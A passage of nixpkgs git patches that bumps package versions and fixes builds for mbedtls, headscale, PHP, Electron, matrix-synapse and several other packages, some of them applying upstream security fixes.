     description = "A moderation tool for Matrix";

From 77b2b4ba30ce644f736aca0ece9b8297afd69196 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Thu, 5 Jun 2025 21:40:49 +0200
Subject: [PATCH 0673/4511] mbedtls_2: 2.28.9 -> 2.28.10

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit ec2b95cf8654a8c1f531f22626a7ffd7a59555e1)
---
 pkgs/development/libraries/mbedtls/2.nix | 13 ++-----------
 1 file changed, 2 insertions(+), 11 deletions(-)

diff --git a/pkgs/development/libraries/mbedtls/2.nix b/pkgs/development/libraries/mbedtls/2.nix
index 8c20144c0f63..31105350e6cb 100644
--- a/pkgs/development/libraries/mbedtls/2.nix
+++ b/pkgs/development/libraries/mbedtls/2.nix
@@ -1,15 +1,6 @@
 { callPackage, fetchpatch }:
 
 callPackage ./generic.nix {
-  version = "2.28.9";
-  hash = "sha256-/Bm05CvS9t7WSh4qoMconCaD7frlmA/H9YDyJOuGuFE=";
-  patches = [
-    # https://github.com/Mbed-TLS/mbedtls/pull/9529
-    # switch args to calloc in test macro to fix build with gcc-14
-    (fetchpatch {
-      name = "gcc-14-fixes.patch";
-      url = "https://github.com/Mbed-TLS/mbedtls/commit/990a88cd53d40ff42481a2c200b05f656507f326.patch";
-      hash = "sha256-Ki8xjm4tbzLZGNUr4hRbf+dlp05ejvl44ddroWJZY4w=";
-    })
-  ];
+  version = "2.28.10";
+  hash = "sha256-09XWds45TFH7GORrju8pVQQQQomU8MlFAq1jJXrLW0s=";
 }

From 6879530a886ae6d0a85e310f9520dd2a3bc1c784 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Fri, 6 Jun 2025 14:19:35 -0700
Subject: [PATCH 0674/4511] headscale: patch /machine/map endpoint
 vulnerability

---
 pkgs/servers/headscale/default.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/servers/headscale/default.nix b/pkgs/servers/headscale/default.nix
index 68edb88fb00c..8efa5cb67940 100644
--- a/pkgs/servers/headscale/default.nix
+++ b/pkgs/servers/headscale/default.nix
@@ -2,6 +2,7 @@
   lib,
   buildGoModule,
   fetchFromGitHub,
+  fetchpatch,
   installShellFiles,
   iana-etc,
   libredirect,
@@ -20,6 +21,15 @@ buildGoModule rec {
     hash = "sha256-CrdMxRAgrDE1lJ3v9AhCN+cKOVqmIVwjE0x+msSVT+c=";
   };
 
+  patches = [
+    (fetchpatch {
+      name = "fix-machine-map-endpoint-vulnerability.patch";
+      url = "https://github.com/juanfont/headscale/pull/2642.patch";
+      excludes = [ "CHANGELOG.md" ];
+      hash = "sha256-OmggrI0mkA3mk+k18oYWrQWt9iIFIbKE1cyB3ZBwbC4=";
+    })
+  ];
+
   vendorHash = "sha256-ZQj2A0GdLhHc7JLW7qgpGBveXXNWg9ueSG47OZQQXEw=";
 
   subPackages = [ "cmd/headscale" ];

From af6b9fe6868c2a45871784842426b12f1ab5e149 Mon Sep 17 00:00:00 2001
From: Chan Siu Man <siuman.chan@gmail.com>
Date: Sun, 23 Mar 2025 08:48:11 -0700
Subject: [PATCH 0675/4511] ibus-table-chinese: 1.8.3 -> 1.8.12

Fixes https://github.com/NixOS/nixpkgs/issues/392191.

1. `github:definite/ibus-table-chinese` is deprecated by `github:mike-fabian/ibus-table-chinese`, as per the [README of github:definite/ibus-table-chinese](https://github.com/definite/ibus-table-chinese/blob/master/README).
2. `github:mike-fabian/ibus-table-chinese` is at `1.8.12`.
3. `github:mike-fabian/ibus-table-chinese` [removed the dependency on `cmake-fedora`](https://github.com/mike-fabian/ibus-table-chinese/commit/17239945c650cdeb289a9d36c1fceb2626060060).
4. This commit fixes `cmake` builds. (Which also fixes https://github.com/NixOS/nixpkgs/issues/392191.)
5. Optionally, this commit replaces `preBuild` and `postFixup` with `writableTmpDirAsHomeHook`.

(cherry picked from commit 34cd7596702ceb02bcd54f25e3c4628f5c855c1d)
---
 .../ibus-table-chinese/default.nix            | 56 +++----------------
 1 file changed, 9 insertions(+), 47 deletions(-)

diff --git a/pkgs/tools/inputmethods/ibus-engines/ibus-table-chinese/default.nix b/pkgs/tools/inputmethods/ibus-engines/ibus-table-chinese/default.nix
index 23341215e279..c87a32d9715d 100644
--- a/pkgs/tools/inputmethods/ibus-engines/ibus-table-chinese/default.nix
+++ b/pkgs/tools/inputmethods/ibus-engines/ibus-table-chinese/default.nix
@@ -1,78 +1,40 @@
 {
   lib,
   stdenv,
-  fetchgit,
   fetchFromGitHub,
   pkg-config,
   ibus,
   ibus-table,
   python3,
   cmake,
+  writableTmpDirAsHomeHook,
 }:
 
 let
   src = fetchFromGitHub {
-    owner = "definite";
+    owner = "mike-fabian";
     repo = "ibus-table-chinese";
-    rev = "3380c96b5230721e9b80685a719508c505b8137a";
-    hash = "sha256-Ymzkim1k6KQxcSX2LaczRsxV2DYCFxIWI5xulmhOrw8=";
-  };
-
-  cmakeFedoraSrc = fetchgit {
-    url = "https://pagure.io/cmake-fedora.git";
-    rev = "7d5297759aef4cd086bdfa30cf6d4b2ad9446992";
-    hash = "sha256-9uQbQ9hbiT+IpYh7guA4IOOIiLeeYuWc2EntePuWqVc=";
+    rev = "3a416012f3b898fe17225925f59d0672a8a0c0db";
+    sha256 = "sha256-KA4jRSlQ78IeP7od3VtgdR58Z/6psNkMCVwvg3vhFIM=";
   };
 in
 stdenv.mkDerivation {
   pname = "ibus-table-chinese";
-  version = "1.8.3";
+  version = "1.8.12";
 
-  srcs = [
-    src
-    cmakeFedoraSrc
-  ];
+  inherit src;
 
-  sourceRoot = src.name;
-
-  postUnpack = ''
-    chmod u+w -R ${cmakeFedoraSrc.name}
-    mv ${cmakeFedoraSrc.name}/* source/cmake-fedora
-  '';
-
-  preConfigure = ''
-    # cmake script needs ./Modules folder to link to cmake-fedora
-    ln -s cmake-fedora/Modules ./
-  '';
-
-  # Fails when writing to /prj_info.cmake in https://pagure.io/cmake-fedora/blob/master/f/Modules/ManageVersion.cmake
-  cmakeFlags = [
-    "-DPRJ_INFO_CMAKE_FILE=/dev/null"
-    "-DPRJ_DOC_DIR=REPLACE"
-    "-DDATA_DIR=share"
-  ];
-  # Must replace PRJ_DOC_DIR with actual share/ folder for ibus-table-chinese
-  # Otherwise it tries to write to /ibus-table-chinese if not defined (!)
   postConfigure = ''
-    substituteInPlace cmake_install.cmake --replace '/build/source/REPLACE' $out/share/ibus-table-chinese
+    substituteInPlace cmake_install.cmake --replace-fail /var/empty $out
+    substituteInPlace CMakeLists.txt --replace-fail /var/empty $out
   '';
   # Fails otherwise with "no such file or directory: <table>.txt"
   dontUseCmakeBuildDir = true;
-  # Fails otherwise sometimes with
-  # FileExistsError: [Errno 17] File exists: '/build/tmp.BfVAUM4llr/ibus-table-chinese/.local/share/ibus-table'
-  enableParallelBuilding = false;
-
-  preBuild = ''
-    export HOME=$(mktemp -d)/ibus-table-chinese
-  '';
-
-  postFixup = ''
-    rm -rf $HOME
-  '';
 
   nativeBuildInputs = [
     cmake
     pkg-config
+    writableTmpDirAsHomeHook
   ];
 
   buildInputs = [

From 86e5d92d55039b97e0e34f3f436e762df550fb74 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Fri, 6 Jun 2025 22:06:58 +0000
Subject: [PATCH 0676/4511] olivetin: 2025.6.1 -> 2025.6.6

(cherry picked from commit 43a09535285e06093d758e4da01c176660c70c79)
---
 pkgs/by-name/ol/olivetin/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ol/olivetin/package.nix b/pkgs/by-name/ol/olivetin/package.nix
index e39081ae01fa..099f91830fc5 100644
--- a/pkgs/by-name/ol/olivetin/package.nix
+++ b/pkgs/by-name/ol/olivetin/package.nix
@@ -81,13 +81,13 @@ buildGoModule (
 
   {
     pname = "olivetin";
-    version = "2025.6.1";
+    version = "2025.6.6";
 
     src = fetchFromGitHub {
       owner = "OliveTin";
       repo = "OliveTin";
       tag = finalAttrs.version;
-      hash = "sha256-Bd+zxVEhP7LZk74Mfai/MkML1pKlPBKm4kh4jAkC/kQ=";
+      hash = "sha256-yzAuhrkJEBErf9yYuRoq5B7PT0XA0w668AG5LNSSRFM=";
     };
 
     modRoot = "service";

From 15c7b1d3bf7cc1ce3fbe128f45cf91b67a162ee7 Mon Sep 17 00:00:00 2001
From: Gavin Zhao <git@gzgz.dev>
Date: Fri, 18 Apr 2025 00:16:45 -0400
Subject: [PATCH 0677/4511] zluda: provide fallback CMAKE_BUILD_TYPE

Signed-off-by: Gavin Zhao <git@gzgz.dev>
(cherry picked from commit 409d7cdfa9e855bc24868e69c4dde06447f7ebcd)
---
 pkgs/by-name/zl/zluda/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/zl/zluda/package.nix b/pkgs/by-name/zl/zluda/package.nix
index c13e0440e4f9..7ffb292133af 100644
--- a/pkgs/by-name/zl/zluda/package.nix
+++ b/pkgs/by-name/zl/zluda/package.nix
@@ -55,6 +55,11 @@ rustPlatform.buildRustPackage rec {
 
   # xtask doesn't support passing --target, but nix hooks expect the folder structure from when it's set
   env.CARGO_BUILD_TARGET = stdenv.hostPlatform.rust.cargoShortTarget;
+  # Future packagers:
+  # This is a fix for https://github.com/NixOS/nixpkgs/issues/390469. Ideally
+  # ZLUDA should configure this automatically. Therefore, on every new update,
+  # please try removing this line and see if ZLUDA builds.
+  env.CMAKE_BUILD_TYPE = "Release";
 
   preConfigure = ''
     # disable test written for windows only: https://github.com/vosen/ZLUDA/blob/774f4bcb37c39f876caf80ae0d39420fa4bc1c8b/zluda_inject/tests/inject.rs#L55

From dbeb1f6779f21a24eae98efa3c0a6e1615c1e933 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Robert=20Sch=C3=BCtz?= <nix@dotlambda.de>
Date: Thu, 5 Jun 2025 09:41:24 -0700
Subject: [PATCH 0678/4511] rustic: simplify shell completion installation

(cherry picked from commit 8e2aa7dae048ec6ffc5ae2bafdc6c6ff93cd1457)
---
 pkgs/by-name/ru/rustic/package.nix | 15 +++++++--------
 1 file changed, 7 insertions(+), 8 deletions(-)

diff --git a/pkgs/by-name/ru/rustic/package.nix b/pkgs/by-name/ru/rustic/package.nix
index ea400d9b6ce3..d36140e462e0 100644
--- a/pkgs/by-name/ru/rustic/package.nix
+++ b/pkgs/by-name/ru/rustic/package.nix
@@ -1,5 +1,6 @@
 {
   lib,
+  stdenv,
   fetchFromGitHub,
   rustPlatform,
   installShellFiles,
@@ -17,17 +18,15 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-HYPzgynCeWDRRNyACHqnzkjn6uZWS0TDHuJE9STJxbQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+BlLVnvI2qBfwEtyxmZFNhR9MEzs0/a1Ce6ALOKtoPU=";
 
   nativeBuildInputs = [ installShellFiles ];
 
-  postInstall = ''
-    for shell in {ba,fi,z}sh; do
-      $out/bin/rustic completions $shell > rustic.$shell
-    done
-
-    installShellCompletion rustic.{ba,fi,z}sh
+  postInstall = lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd rustic \
+      --bash <($out/bin/rustic completions bash) \
+      --fish <($out/bin/rustic completions fish) \
+      --zsh <($out/bin/rustic completions zsh)
   '';
 
   passthru.updateScript = nix-update-script { };
@@ -35,7 +34,7 @@ rustPlatform.buildRustPackage rec {
   meta = {
     homepage = "https://github.com/rustic-rs/rustic";
     changelog = "https://github.com/rustic-rs/rustic/blob/${src.rev}/CHANGELOG.md";
-    description = "fast, encrypted, deduplicated backups powered by pure Rust";
+    description = "Fast, encrypted, deduplicated backups powered by pure Rust";
     mainProgram = "rustic";
     platforms = lib.platforms.linux ++ lib.platforms.darwin;
     license = [

From e66f041412da85d35f7496fa732ca5d965037c40 Mon Sep 17 00:00:00 2001
From: Markus Heinrich <68288772+markus-heinrich@users.noreply.github.com>
Date: Wed, 4 Jun 2025 22:00:50 +0200
Subject: [PATCH 0679/4511] sylpheed: fix with gcc 14

(cherry picked from commit f71ddc3b5ae50ce45f7f3cf96d58acc7a657b8f4)
---
 pkgs/by-name/sy/sylpheed/package.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/by-name/sy/sylpheed/package.nix b/pkgs/by-name/sy/sylpheed/package.nix
index 26aeb6f93388..9ead50540ca4 100644
--- a/pkgs/by-name/sy/sylpheed/package.nix
+++ b/pkgs/by-name/sy/sylpheed/package.nix
@@ -36,6 +36,11 @@ stdenv.mkDerivation rec {
       url = "https://git.claws-mail.org/?p=claws.git;a=patch;h=ac286a71ed78429e16c612161251b9ea90ccd431";
       sha256 = "sha256-oLmUShtvO6io3jibKT67eO0O58vEDZEeaB51QTd3UkU=";
     })
+    (fetchurl {
+      name = "0013-fix-FTBFS-GCC-14.patch";
+      url = "https://salsa.debian.org/sylpheed-team/sylpheed/-/raw/22984c6d2bf76b0667256a9e8b660447497e1220/debian/patches/0013-fix-FTBFS-GCC-14.patch?inline=false";
+      sha256 = "sha256-ZfQKiOK8pMrN87hrP0/2LxYZZdnaciBoa0khG1Djelo=";
+    })
   ];
 
   nativeBuildInputs = [ pkg-config ];

From c6ee89ba834ef7f312846efb4bd118bf4f5a86b6 Mon Sep 17 00:00:00 2001
From: Frank Doepper <woffs@woffs.de>
Date: Sat, 7 Jun 2025 08:03:38 +0200
Subject: [PATCH 0680/4511] uudeview: 0.5.20 -> 0.5.20-unstable-2025-03-20,
 update repo, fixes build (#411084)

(cherry picked from commit 72caf3acb7785b0ef5ec48152ccdd2288d44bf29)
---
 pkgs/by-name/uu/uudeview/package.nix | 27 ++++++++++-----------------
 1 file changed, 10 insertions(+), 17 deletions(-)

diff --git a/pkgs/by-name/uu/uudeview/package.nix b/pkgs/by-name/uu/uudeview/package.nix
index 511ccd0efd1b..211a70b7ff11 100644
--- a/pkgs/by-name/uu/uudeview/package.nix
+++ b/pkgs/by-name/uu/uudeview/package.nix
@@ -1,19 +1,21 @@
 {
   lib,
   stdenv,
-  fetchurl,
-  fetchpatch,
+  fetchFromGitHub,
   tcl,
   tk,
+  autoreconfHook,
 }:
 
 stdenv.mkDerivation rec {
   pname = "uudeview";
-  version = "0.5.20";
+  version = "0.5.20-unstable-2025-03-20";
 
-  src = fetchurl {
-    url = "http://www.fpx.de/fp/Software/UUDeview/download/uudeview-${version}.tar.gz";
-    sha256 = "0dg4v888fxhmf51vxq1z1gd57fslsidn15jf42pj4817vw6m36p4";
+  src = fetchFromGitHub {
+    owner = "hannob";
+    repo = "uudeview";
+    rev = "7640bc56aa5016cdc9c139eb1ab3ec874e47c744";
+    hash = "sha256-IdHxkrXe+2I+aJpZ0bhimXq4xEXE9HDXrL5DtCs7MKk=";
   };
 
   buildInputs = [
@@ -21,22 +23,13 @@ stdenv.mkDerivation rec {
     tk
   ];
 
+  nativeBuildInputs = [ autoreconfHook ];
+
   configureFlags = [
     "--enable-tk=${tk.dev}"
     "--enable-tcl=${tcl}"
   ];
 
-  patches = [
-    # https://wiki.tcl.tk/3577
-    ./matherr.patch
-    # format hardening
-    (fetchpatch {
-      url = "https://raw.githubusercontent.com/OpenMandrivaAssociation/uudeview/master/uudeview-0.5.20-fix-str-fmt.patch";
-      sha256 = "1biipck60mhpd0j6jwizaisvqa8alisw1dpfqm6zf7ic5b93hmfw";
-      extraPrefix = "";
-    })
-  ];
-
   postPatch = ''
     substituteInPlace tcl/xdeview --replace "exec uuwish" "exec $out/bin/uuwish"
   '';

From 4ee336f75d6417a9f19f2b2359f857da4041c69b Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Thu, 29 May 2025 04:08:13 -0600
Subject: [PATCH 0681/4511] shadps4: fix update script

(cherry picked from commit f9ceab72671014391386997142704e425358a0dd)
---
 pkgs/by-name/sh/shadps4/package.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/sh/shadps4/package.nix b/pkgs/by-name/sh/shadps4/package.nix
index 43f46afa754a..88da965e9446 100644
--- a/pkgs/by-name/sh/shadps4/package.nix
+++ b/pkgs/by-name/sh/shadps4/package.nix
@@ -119,7 +119,12 @@ stdenv.mkDerivation (finalAttrs: {
 
   passthru = {
     tests.openorbis-example = nixosTests.shadps4;
-    updateScript = nix-update-script { };
+    updateScript = nix-update-script {
+      extraArgs = [
+        "--version-regex"
+        "v\\.(.*)"
+      ];
+    };
   };
 
   meta = {

From 2c4964aae1b5d242d6144da44f8e10042db73e4a Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sat, 7 Jun 2025 10:50:23 +0200
Subject: [PATCH 0682/4511] matrix-synapse-unwrapped: restore ability to make
 backports

I'm absolutely not going to do this by hand for the next 6 months!
---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index b39467d5750e..e61711ebe1f0 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -28,8 +28,7 @@ python3.pkgs.buildPythonApplication rec {
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
-    inherit src;
-    name = "${pname}-${version}";
+    inherit pname version src;
     hash = "sha256-Gq3QvQSRfxRovzuvdboLCheNuMW58GFO9x2N2os+p38=";
   };
 

From 45346c3ee39012e12256998fcb2a0067d3f98a5a Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Tue, 3 Jun 2025 17:05:44 +0200
Subject: [PATCH 0683/4511] matrix-synapse: 1.130.0 -> 1.131.0

Relase notes: https://github.com/element-hq/synapse/releases/tag/v1.131.0
Full changelog: https://github.com/element-hq/synapse/compare/v1.130.0...v1.131.0

(cherry picked from commit 9b9b529bfa166922a672c7c13ffe872475d90ed1)
---
 pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
index e61711ebe1f0..ab54f87cef24 100644
--- a/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
+++ b/pkgs/by-name/ma/matrix-synapse-unwrapped/package.nix
@@ -17,19 +17,19 @@ let
 in
 python3.pkgs.buildPythonApplication rec {
   pname = "matrix-synapse";
-  version = "1.130.0";
+  version = "1.131.0";
   format = "pyproject";
 
   src = fetchFromGitHub {
     owner = "element-hq";
     repo = "synapse";
     rev = "v${version}";
-    hash = "sha256-/rPVJvIJfPMV+8hMenNF2dJzgemhaD2Z+/G4+6d7r1k=";
+    hash = "sha256-nXDVkuV5GCk0Lp4LfyiModKdO30PJ40B5mXdm5tMHQo=";
   };
 
   cargoDeps = rustPlatform.fetchCargoVendor {
     inherit pname version src;
-    hash = "sha256-Gq3QvQSRfxRovzuvdboLCheNuMW58GFO9x2N2os+p38=";
+    hash = "sha256-9VJnn8aPkShqK2wYGFr+S5koIjma7VOr+LkLXwStL1E=";
   };
 
   postPatch = ''

From 6ef270cf157db96bf27a7a770f46633e634188e6 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Thu, 29 May 2025 19:43:42 -0400
Subject: [PATCH 0684/4511] grafana-image-renderer: 3.12.5 -> 3.12.6

Changelog: https://github.com/grafana/grafana-image-renderer/blob/fad0870550b74210ca58fe5112d41bbb91ecd1e6/CHANGELOG.md
(cherry picked from commit 8487c267b5872b27ed7c3cb2ef56a69f029cc081)
---
 pkgs/by-name/gr/grafana-image-renderer/package.json | 10 +++++++++-
 pkgs/by-name/gr/grafana-image-renderer/package.nix  |  6 +++---
 2 files changed, 12 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/gr/grafana-image-renderer/package.json b/pkgs/by-name/gr/grafana-image-renderer/package.json
index 3c8f51add47c..07b8aeaa9292 100644
--- a/pkgs/by-name/gr/grafana-image-renderer/package.json
+++ b/pkgs/by-name/gr/grafana-image-renderer/package.json
@@ -28,22 +28,30 @@
     "@grpc/grpc-js": "^1.8.22",
     "@grpc/proto-loader": "^0.7.2",
     "@hapi/boom": "^10.0.0",
+    "@opentelemetry/api": "^1.9.0",
+    "@opentelemetry/auto-instrumentations-node": "^0.49.0",
+    "@opentelemetry/exporter-trace-otlp-http": "^0.52.1",
+    "@opentelemetry/resources": "^1.25.1",
+    "@opentelemetry/sdk-node": "^0.52.1",
+    "@opentelemetry/semantic-conventions": "^1.25.1",
     "@puppeteer/browsers": "^2.3.1",
     "chokidar": "^3.5.2",
     "dompurify": "^3.2.4",
     "express": "^4.21.1",
     "express-prom-bundle": "^6.5.0",
+    "ioredis": "^5.6.1",
     "jimp": "^0.22.12",
     "jsdom": "20.0.0",
     "lodash": "^4.17.21",
     "minimist": "^1.2.6",
     "morgan": "^1.9.0",
-    "multer": "^1.4.5-lts.1",
+    "multer": "^2.0.0",
     "on-finished": "^2.3.0",
     "poolpeteer": "^0.24.0",
     "prom-client": "^14.1.0",
     "puppeteer": "^22.8.2",
     "puppeteer-cluster": "^0.24.0",
+    "rate-limiter-flexible": "^7.0.0",
     "unique-filename": "^2.0.1",
     "winston": "^3.8.2"
   },
diff --git a/pkgs/by-name/gr/grafana-image-renderer/package.nix b/pkgs/by-name/gr/grafana-image-renderer/package.nix
index 5bc87e3fa7f3..1859d7a75225 100644
--- a/pkgs/by-name/gr/grafana-image-renderer/package.nix
+++ b/pkgs/by-name/gr/grafana-image-renderer/package.nix
@@ -14,18 +14,18 @@
 
 mkYarnPackage rec {
   pname = "grafana-image-renderer";
-  version = "3.12.5";
+  version = "3.12.6";
 
   src = fetchFromGitHub {
     owner = "grafana";
     repo = "grafana-image-renderer";
     rev = "v${version}";
-    hash = "sha256-dcWmMcvWwG4wGEEyFKa1R0jGGpK5x1F5Amr74JzJaLE=";
+    hash = "sha256-xParYkEeH/jH18SH0tTwN4a8NsO8D30Tcmc76Xy77Ew=";
   };
 
   offlineCache = fetchYarnDeps {
     yarnLock = src + "/yarn.lock";
-    hash = "sha256-BBu+vOO0UgX3L7Svj0HgVKHR2lSe4tD6c9HDgJZdhHU=";
+    hash = "sha256-lV+4r+5E55J4H1zl05SimxIhGVD/PvEkIr3j1yhZS4o=";
   };
 
   packageJSON = ./package.json;

From 4a587be1b67c509a182d2b66f449949d5d467685 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 6 Jun 2025 11:35:52 +0000
Subject: [PATCH 0685/4511] apacheHttpdPackages.php: 8.4.7 -> 8.4.8

(cherry picked from commit fffc35b2bbba8b0a0bf215bf19daa5cabe7da698)
---
 pkgs/development/interpreters/php/8.4.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.4.nix b/pkgs/development/interpreters/php/8.4.nix
index 865b7b37180a..11a74cee28dc 100644
--- a/pkgs/development/interpreters/php/8.4.nix
+++ b/pkgs/development/interpreters/php/8.4.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     _args
     // {
-      version = "8.4.7";
-      hash = "sha256-bsyxsGpN2c6jFNvnDHYtPUdlRxy26/kludowiXi/+Yg=";
+      version = "8.4.8";
+      hash = "sha256-NlacZN0UmeVwxDZgO2Qe7nzeSvV2r3hll9DucRs6Ooo=";
     }
   );
 in

From 07e68f06edfdb782d7353883fece08c72d98545c Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sat, 7 Jun 2025 12:20:08 +0200
Subject: [PATCH 0686/4511] php83: 8.3.21 -> 8.3.22

ChangeLog: https://www.php.net/ChangeLog-8.php#8.3.22
(cherry picked from commit 3cf7d02c3eb8a375653a94929361d0b278daa46a)
---
 pkgs/development/interpreters/php/8.3.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/php/8.3.nix b/pkgs/development/interpreters/php/8.3.nix
index 61b3554a3489..00325c5ccb63 100644
--- a/pkgs/development/interpreters/php/8.3.nix
+++ b/pkgs/development/interpreters/php/8.3.nix
@@ -4,8 +4,8 @@ let
   base = callPackage ./generic.nix (
     _args
     // {
-      version = "8.3.21";
-      hash = "sha256-0HaebhHPpsWaFt4kFmi+jH8xpymVCo0GGQ360thiKwQ=";
+      version = "8.3.22";
+      hash = "sha256-mRM+LNoq83uqedsX2O/UFGKPFKAux18UGKCqP2qmZzs=";
     }
   );
 in

From 88e036043e2468c1ee98458a3e7f585a4081f03c Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 4 Jun 2025 18:18:05 +0200
Subject: [PATCH 0687/4511] electron_34-bin: 34.5.7 -> 34.5.8

- Changelog: https://github.com/electron/electron/releases/tag/v34.5.8
- Diff: https://github.com/electron/electron/compare/refs/tags/v34.5.7...v34.5.8
- Fixes CVE-2025-5419

(cherry picked from commit 07dd7435ee2a3fdef3f03227d121eb705d06bc7a)
---
 pkgs/development/tools/electron/binary/info.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index ab7370d0d55f..d11cd6dfd364 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -12,14 +12,14 @@
     },
     "34": {
         "hashes": {
-            "aarch64-darwin": "5d9bba193dd522548da5c9289eae79016f053cefad77d0540e8412f1318462a8",
-            "aarch64-linux": "65e4c5fbbf452378664777696727384853ca4de699da7c84ac39463d8d0e7de9",
-            "armv7l-linux": "cd3dbedf798ddfcd28f3931b8d2214ee49af8a753c21b16d4068edad44dba2ef",
+            "aarch64-darwin": "56c27f79c298bd21f6a0434b70776633ce9971667edf22783b4b3f0051646248",
+            "aarch64-linux": "2172a9fa02331ba9c645dd6a6c5c6c07235e902c0aebb61b123d2f6c3ea0121f",
+            "armv7l-linux": "03514c1e42d4215972add90eb828221aec29278113ecf6761ec014aee92b3c4e",
             "headers": "0gxibckgmbvbr84469fvl1f32aw1hbycnsj1lz5cmx196rpdj0r6",
-            "x86_64-darwin": "8171d8f26305eb01001ddb2d8ff6c922a6142378e1cdac8d5cc72f727bd4e6b6",
-            "x86_64-linux": "0ad6461a74c6bb7ef076ee4b2f5c22801ea1efb585d716b01ba499d9158d34e5"
+            "x86_64-darwin": "fb13c7bf7f01529e0084433166f6b66b149407d8f950ca176fde20f023ee64b6",
+            "x86_64-linux": "da78b040068b6f0d41b3ccc5e5d26f1130bcdeba83f23ebbdae416c26bcf80e2"
         },
-        "version": "34.5.7"
+        "version": "34.5.8"
     },
     "35": {
         "hashes": {

From 9c147da893172aed2254fb2fe79a77ace5ca2610 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 4 Jun 2025 18:18:16 +0200
Subject: [PATCH 0688/4511] electron-chromedriver_34: 34.5.7 -> 34.5.8

- Changelog: https://github.com/electron/electron/releases/tag/v34.5.8
- Diff: https://github.com/electron/electron/compare/refs/tags/v34.5.7...v34.5.8
- Fixes CVE-2025-5419

(cherry picked from commit 6d5dbf6fae055bd5f4d655c48c925d31ac8a01aa)
---
 .../tools/electron/chromedriver/info.json            | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index cdaaf85176c2..f2b95261700f 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -12,14 +12,14 @@
     },
     "34": {
         "hashes": {
-            "aarch64-darwin": "f8d82b6fde28011e3fd75410fe0d9141deeac78a9a3754f3e9e517b485f75b52",
-            "aarch64-linux": "1a65ef666f61c695bf92c7beb52ea9ec70e105d822363ade0998277d19e5cd01",
-            "armv7l-linux": "bfa62551c5ef52f907ebb52004504b083a075d6f6582c1ef41dd180873d86518",
+            "aarch64-darwin": "a3078146762ff67f27dd97470a9d2b4b5a04c182c6fcc5c949303e9a666b8d73",
+            "aarch64-linux": "b0a9aa381fb4b12822408d8ca668b64cbc67c1b18b8a4e5dedd2d0ad7b3513f9",
+            "armv7l-linux": "61a62d8b3d5604a098dc03cac7c89a325ff478d896921e286aabfd22735c64b1",
             "headers": "0gxibckgmbvbr84469fvl1f32aw1hbycnsj1lz5cmx196rpdj0r6",
-            "x86_64-darwin": "5dff162e53b4c5200b581cd4e3d93a9d5aec31bd3d69b7ede7d2a697daee7f97",
-            "x86_64-linux": "8fad178d82cc5e65fa18061f213f6d071e2ae1d773824e18703006dab18acf95"
+            "x86_64-darwin": "aa2ac2aa0dbe410ca152e85ceaf5baeb2cccb28bac7b52b866468edd5e6eb113",
+            "x86_64-linux": "1a6b534f65c47d2e839f5da0efeeb449cebe622e731b624ccc8c91f493eeec4f"
         },
-        "version": "34.5.7"
+        "version": "34.5.8"
     },
     "35": {
         "hashes": {

From c915ca8964225276cbfced32606772f2848e4314 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 4 Jun 2025 18:18:26 +0200
Subject: [PATCH 0689/4511] electron_35-bin: 35.5.0 -> 35.5.1

